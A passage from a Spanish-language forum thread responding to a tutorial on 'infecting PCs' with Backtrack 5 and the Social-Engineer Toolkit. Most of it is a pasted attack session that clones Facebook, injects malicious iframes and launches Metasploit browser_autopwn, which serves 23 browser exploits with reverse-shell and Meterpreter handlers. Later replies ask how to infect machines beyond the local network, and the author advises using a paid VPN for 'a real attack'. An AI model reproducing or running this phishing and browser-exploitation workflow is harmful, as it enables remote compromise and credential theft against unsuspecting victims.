Tutorial "Infectando Pc con Backtrack 5 y SET".

Iniciado por jpmo4, 31 Agosto 2011, 03:24 AM

0 Miembros y 4 Visitantes están viendo este tema.

dvdr

#20
Citaraver quien me lo puede revisar que mee atascado hay f
Citar[---]       The Social-Engineer Toolkit (SET)          [---]
 [---]        Created by: David Kennedy (ReL1K)         [---]
 [---]        Development Team: JR DePre (pr1me)        [---]
 [---]        Development Team: Joey Furr (j0fer)       [---]
 [---]                 Version: 2.1                     [---]
 [---]              Codename: 'Rebirth'                 [---]
 [---]       Report bugs: davek@social-engineer.org     [---]
 [---]         Follow me on Twitter: dave_rel1k         [---]
 [---]        Homepage: http://www.secmaniac.com        [---]

  Welcome to the Social-Engineer Toolkit (SET). Your one
   stop shop for all of your social-engineering needs..
   
   DerbyCon 2011 Sep30-Oct02 - http://www.derbycon.com.

    Join us on irc.freenode.net in channel #setoolkit

Select from the menu:

  1) Social-Engineering Attacks
  2) Fast-Track Penetration Testing
  3) Third Party Modules
  4) Update the Metasploit Framework
  5) Update the Social-Engineer Toolkit
  6) Help, Credits, and About

 99) Exit the Social-Engineer Toolkit

set> 1


 [---]       The Social-Engineer Toolkit (SET)          [---]
 [---]        Created by: David Kennedy (ReL1K)         [---]
 [---]        Development Team: JR DePre (pr1me)        [---]
 [---]        Development Team: Joey Furr (j0fer)       [---]
 [---]                 Version: 2.1                     [---]
 [---]              Codename: 'Rebirth'                 [---]
 [---]       Report bugs: davek@social-engineer.org     [---]
 [---]         Follow me on Twitter: dave_rel1k         [---]
 [---]        Homepage: http://www.secmaniac.com        [---]

  Welcome to the Social-Engineer Toolkit (SET). Your one
   stop shop for all of your social-engineering needs..
   
   DerbyCon 2011 Sep30-Oct02 - http://www.derbycon.com.

    Join us on irc.freenode.net in channel #setoolkit

Select from the menu:

  1) Spear-Phishing Attack Vectors
  2) Website Attack Vectors
  3) Infectious Media Generator
  4) Create a Payload and Listener
  5) Mass Mailer Attack
  6) Arduino-Based Attack Vector
  7) SMS Spoofing Attack Vector
  8) Wireless Access Point Attack Vector
  9) Third Party Modules

 99) Return back to the main menu.

set> 2

The Web Attack module is  a unique way of utilizing multiple web-based attacks
in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a
metasploit based payload. Uses a customized java applet created by Thomas
Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit
browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web-
site that has a username and password field and harvest all the
information posted to the website.

The TabNabbing method will wait for a user to move to a different
tab, then refresh the page to something different.

The Man Left in the Middle Attack method was introduced by Kos and
utilizes HTTP REFERER's in order to intercept fields and harvest
data from them. You need to have an already vulnerable site and in-
corporate <script src="http://YOURIP/">. This could either be from a
compromised site or through XSS.

The Web-Jacking Attack method was introduced by white_sheep, Emgent
and the Back|Track team. This method utilizes iframe replacements to
make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit
the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.

  1) Java Applet Attack Method
  2) Metasploit Browser Exploit Method
  3) Credential Harvester Attack Method
  4) Tabnabbing Attack Method
  5) Man Left in the Middle Attack Method
  6) Web Jacking Attack Method
  7) Multi-Attack Web Method
  8) Create or import a CodeSigning Certificate

 99) Return to Main Menu

set:webattack>2

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
 
  1) Web Templates
  2) Site Cloner
  3) Custom Import

 99) Return to Webattack Menu

set:webattack>1

 1. Java Required
 2. Gmail
 3. Google
 4. Facebook
 5. Twitter

set:webattack> Select a template:4

Enter the browser exploit you would like to use

  1) MS11-050 IE mshtml!CObjectElement Use After Free
  2) Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
  3) Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute
  4) Internet Explorer CSS Import Use After Free (default)
  5) Microsoft WMI Administration Tools ActiveX Buffer Overflow
  6) Internet Explorer CSS Tags Memory Corruption
  7) Sun Java Applet2ClassLoader Remote Code Execution
  8) Sun Java Runtime New Plugin docbase Buffer Overflow
  9) Microsoft Windows WebDAV Application DLL Hijacker
 10) Adobe Flash Player AVM Bytecode Verification Vulnerability
 11) Adobe Shockwave rcsL Memory Corruption Exploit
 12) Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
 13) Apple QuickTime 7.6.7 Marshaled_pUnk Code Execution
 14) Microsoft Help Center XSS and Command Execution (MS10-042)
 15) Microsoft Internet Explorer iepeers.dll Use After Free (MS10-018)
 16) Microsoft Internet Explorer "Aurora" Memory Corruption (MS10-002)
 17) Microsoft Internet Explorer Tabular Data Control Exploit (MS10-018)
 18) Microsoft Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)
 19) Microsoft Internet Explorer Style getElementsbyTagName Corruption (MS09-072)
 20) Microsoft Internet Explorer isComponentInstalled Overflow
 21) Microsoft Internet Explorer Explorer Data Binding Corruption (MS08-078)
 22) Microsoft Internet Explorer Unsafe Scripting Misconfiguration
 23) FireFox 3.5 escape Return Value Memory Corruption
 24) FireFox 3.6.16 mChannel use after free vulnerability
 25) Metasploit Browser Autopwn (USE AT OWN RISK!)

set:payloads>25


  1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
  2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
  3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
  4) Windows Bind Shell                      Execute payload and create an accepting port on remote system.
  5) Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
  6) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
  7) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
  8) Windows Meterpreter Egress Buster       Spawn a meterpreter shell and find a port home via multiple ports
  9) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
 10) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and use Reverse Meterpreter
 11) Download/Run your Own Executable        Downloads an executable and runs it

set:payloads>2
set:payloads> Port to use for the reverse [443]:http://es-es.facebook.com/

  • Cloning the website: http://www.facebook.com                                                                 
  • This could take a little bit...                                                                             
  • Injecting iframes into cloned website for MSF Attack....
  • Malicious iframe injection successful...crafting payload.
                                                                                                                     

    ***************************************************                                                             
    Web Server Launched. Welcome to the SET Web Attack.                                                             
    ***************************************************                                                             
                                                                                                                     
    [--] Tested on IE6, IE7, IE8, IE9, Safari, Opera, Chrome, and FireFox [--]                                       
    [-] Launching MSF Listener...
    [-] This may take a few to load MSF...
    [-] ***
    [-] * WARNING: Database support has been disabled
    [-] ***

                     _---------.                                                                                     
                 .' #######   ;."                                                                                   
      .---,.    ;@             @@`;   .---,..                                                                       
    ." @@@@@'.,'@@            @@@@@',.'@@@@ ".                                                                       
    '-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;                                                                       
       `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'                                                                       
         "--'.@@@  -.@        @ ,'-   .'--"                                                                         
              ".@' ; @       @ `.  ;'                                                                               
                |@@@@ @@@     @    .                                                                                 
                 ' @@@ @@   @@    ,                                                                                 
                  `.@@@@    @@   .                                                                                   
                    ',@@     @   ;           _____________                                                           
                     (   3 C    )     /|___ / Metasploit! \                                                         
                     ;@'. __*__,."    \|--- \_____________/                                                         
                      '(.,...."/                                                                                     
                                                                                                                     

           =[ metasploit v4.1.0-testing [core:4.1 api:1.0]
    + -- --=[ 745 exploits - 382 auxiliary - 92 post
    + -- --=[ 228 payloads - 27 encoders - 8 nops
           =[ svn r13922 updated today (2011.10.14)

    resource (src/program_junk/meta_config)> use auxiliary/server/browser_autopwn
    resource (src/program_junk/meta_config)> set PAYLOAD unc_embed
    [-] The value specified for PAYLOAD is not valid.
    resource (src/program_junk/meta_config)> set LHOST 192.168.1.134
    LHOST => 192.168.1.134
    resource (src/program_junk/meta_config)> set LPORT http://es-es.facebook.com/
    LPORT => http://es-es.facebook.com/
    resource (src/program_junk/meta_config)> set URIPATH /
    URIPATH => /
    resource (src/program_junk/meta_config)> set SRVPORT 8080
    SRVPORT => 8080
    resource (src/program_junk/meta_config)> set ExitOnSession false
    ExitOnSession => false
    resource (src/program_junk/meta_config)> exploit -j
  • Auxiliary module running as background job
    msf  auxiliary(browser_autopwn) >
  • Setup
  • Obfuscating initial javascript 2011-10-15 13:09:24 +0200
  • Done in 2.183893447 seconds

  • Starting exploit modules on host 192.168.1.134...
  • ---

  • Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp
  • Using URL: http://0.0.0.0:8080/mRJBj
  •   Local IP: http://192.168.1.134:8080/mRJBj
  • Server started.
  • Starting exploit multi/browser/java_calendar_deserialize with payload java/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/kFHPLqmocaGsW
  •   Local IP: http://192.168.1.134:8080/kFHPLqmocaGsW
  • Server started.
  • Starting exploit multi/browser/java_trusted_chain with payload java/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/KWRqqcKjJwj
  •   Local IP: http://192.168.1.134:8080/KWRqqcKjJwj
  • Server started.
  • Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp
  • Using URL: http://0.0.0.0:8080/EWrxjEAjAxnh
  •   Local IP: http://192.168.1.134:8080/EWrxjEAjAxnh
  • Server started.
  • Starting exploit multi/browser/mozilla_navigatorjava with payload generic/shell_reverse_tcp
  • Using URL: http://0.0.0.0:8080/exySVOHo
  •   Local IP: http://192.168.1.134:8080/exySVOHo
  • Server started.
  • Starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp
  • Using URL: http://0.0.0.0:8080/KIKgg
  •   Local IP: http://192.168.1.134:8080/KIKgg
  • Server started.
  • Starting exploit multi/browser/opera_historysearch with payload generic/shell_reverse_tcp
  • Using URL: http://0.0.0.0:8080/VOGgQUkJ
  •   Local IP: http://192.168.1.134:8080/VOGgQUkJ
  • Server started.
  • Starting exploit osx/browser/safari_metadata_archive with payload generic/shell_reverse_tcp
  • Using URL: http://0.0.0.0:8080/pcpWZdjdTWmC
  •   Local IP: http://192.168.1.134:8080/pcpWZdjdTWmC
  • Server started.
  • Starting exploit windows/browser/apple_quicktime_marshaled_punk with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/TYYYR
  •   Local IP: http://192.168.1.134:8080/TYYYR
  • Server started.
  • Starting exploit windows/browser/apple_quicktime_rtsp with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/IcWYvzs
  •   Local IP: http://192.168.1.134:8080/IcWYvzs
  • Server started.
  • Starting exploit windows/browser/apple_quicktime_smil_debug with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/xJAjkDKyMV
  •   Local IP: http://192.168.1.134:8080/xJAjkDKyMV
  • Server started.
  • Starting exploit windows/browser/blackice_downloadimagefileurl with payload windows/meterpreter/reverse_tcp
  • Starting exploit windows/browser/enjoysapgui_comp_download with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/ZSsPzJOS
  •   Local IP: http://192.168.1.134:8080/ZSsPzJOS
  • Server started.
  • Using URL: http://0.0.0.0:8080/TZJaJefYLGAYx
  •   Local IP: http://192.168.1.134:8080/TZJaJefYLGAYx
  • Server started.
  • Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/ycpbVEemfTtYa
  •   Local IP: http://192.168.1.134:8080/ycpbVEemfTtYa
  • Server started.
  • Starting exploit windows/browser/mozilla_interleaved_write with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/IPmGCy
  •   Local IP: http://192.168.1.134:8080/IPmGCy
  • Server started.
  • Starting exploit windows/browser/mozilla_mchannel with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/GjtbB
  •   Local IP: http://192.168.1.134:8080/GjtbB
  • Server started.
  • Starting exploit windows/browser/mozilla_nstreerange with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/ZMrMpFHitmbC
  •   Local IP: http://192.168.1.134:8080/ZMrMpFHitmbC
  • Server started.
  • Starting exploit windows/browser/ms03_020_ie_objecttype with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/JUqwrQbwM
  •   Local IP: http://192.168.1.134:8080/JUqwrQbwM
  • Server started.
  • Starting exploit windows/browser/ms10_018_ie_behaviors with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/FIUjRrmrCOcLP
  •   Local IP: http://192.168.1.134:8080/FIUjRrmrCOcLP
  • Server started.
  • Starting exploit windows/browser/ms11_003_ie_css_import with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/UHWRxdbNgkO
  •   Local IP: http://192.168.1.134:8080/UHWRxdbNgkO
  • Server started.
  • Starting exploit windows/browser/ms11_050_mshtml_cobjectelement with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/XRzJLFDqt
  •   Local IP: http://192.168.1.134:8080/XRzJLFDqt
  • Server started.
  • Starting exploit windows/browser/winzip_fileview with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/iotHDZMkJa
  •   Local IP: http://192.168.1.134:8080/iotHDZMkJa
  • Server started.
  • Starting exploit windows/browser/wmi_admintools with payload windows/meterpreter/reverse_tcp
  • Using URL: http://0.0.0.0:8080/xQYGMxqJEUw
  •   Local IP: http://192.168.1.134:8080/xQYGMxqJEUw
  • Server started.
  • Starting handler for windows/meterpreter/reverse_tcp on port 3333
  • Starting handler for generic/shell_reverse_tcp on port 6666
  • Started reverse handler on 192.168.1.134:3333
  • Starting the payload handler...
  • Starting handler for java/meterpreter/reverse_tcp on port 7777
  • Started reverse handler on 192.168.1.134:6666
  • Starting the payload handler...
  • Started reverse handler on 192.168.1.134:7777
  • Starting the payload handler...

  • --- Done, found 23 exploit modules

  • Using URL: http://0.0.0.0:8080/
  •   Local IP: http://192.168.1.134:8080/
  • Server started.

    msf  auxiliary(browser_autopwn) >

<script type="text/javascript" src="http://cdn.widgetserver.com/syndication/subscriber/InsertWidget.js"></script><script type="text/javascript">if (WIDGETBOX) WIDGETBOX.renderWidget('cdfef286-7505-4e06-a99a-907ff6a326a5');</script>
<noscript>Get the <a href="http://www.widgetbox.com/widget/timedate-widget">Time and Date</a> widget and many other <a href="http://www.widgetbox.com/">great free widg

jaret

hombre pinty , tambien por aqui , salu2 compañero

bueno pues encuanto tenga un claro hago el tuto , estoy de tiempo ultimamente escaso , gracias a todos por contestar

daicon

Seria posible continuar con el tutorial de este hilo?
Me parece muy interesante...y no se como seguir una vez realizado el ataque...
como se usa meterpreter....o alguna cosa equivalente?

un saludo y gracias

Maedhros

Esta muy bueno el tuto, me gusto mucho, espero que sigan haciendo mas tutos así :) y también seria interesante que lo hagan en una red WAN :)


m4ni4tic0

#25
Vaya bien eso esta perfecto pero eso solo funciona con maquinas locales, osea maquinas conectadas en nuestra misma red bien! ahora mi pregunta es la siguiente : como hacemos para infectar maquinas que no son locales con SET?

¿tenemos que usar algun proxy o VPN?

jpmo4

Cita de: dimitrix en 13 Octubre 2011, 10:41 AM
Lo interesante es que no sea en Local xD

Cita de: m4ni4tic0 en 13 Enero 2012, 21:49 PM
Vaya bien eso esta perfecto pero eso solo funciona con maquinas locales, osea maquinas conectadas en nuestra misma red bien! ahora mi pregunta es la siguiente : como hacemos para infectar maquinas que no son locales con SET?
¿tenemos que usar algun proxy o VPN?

Hola compis. Claro, lo interesante esta en Wan, y no difiere mucho la táctica pero la configuración si un poco.

En caso de un ataque real, es siempre recomendable usar VPN y si son pagas mejor.

Ya voy a hacer un post o seguiré este mismo hilo de como configurar SET para que funcione en WAN.

Salu2
Podras llevarme a mi novia, incluso hasta a mi perro, pero a mi computadora... jamas

   

phep

Hola a todos! hago todos los pasos igual q en el video pero al arrancar el comando del etthercap todo va bien pero me deja el pc tonto no va internet ni consigo ninga dns ni nada se keda atascado. Me podeis ayudar?

Animo jpmo4! queremos usar el net fuera de nuestras redes!! ;D

Gracias


metalmorph1587

oigan eneseñenme no porfa soy 1 chico q se quiere incluir en esto de seguridad informatica y estoy dispuesto hacer  lo q sea por aprender gracias por el tutorial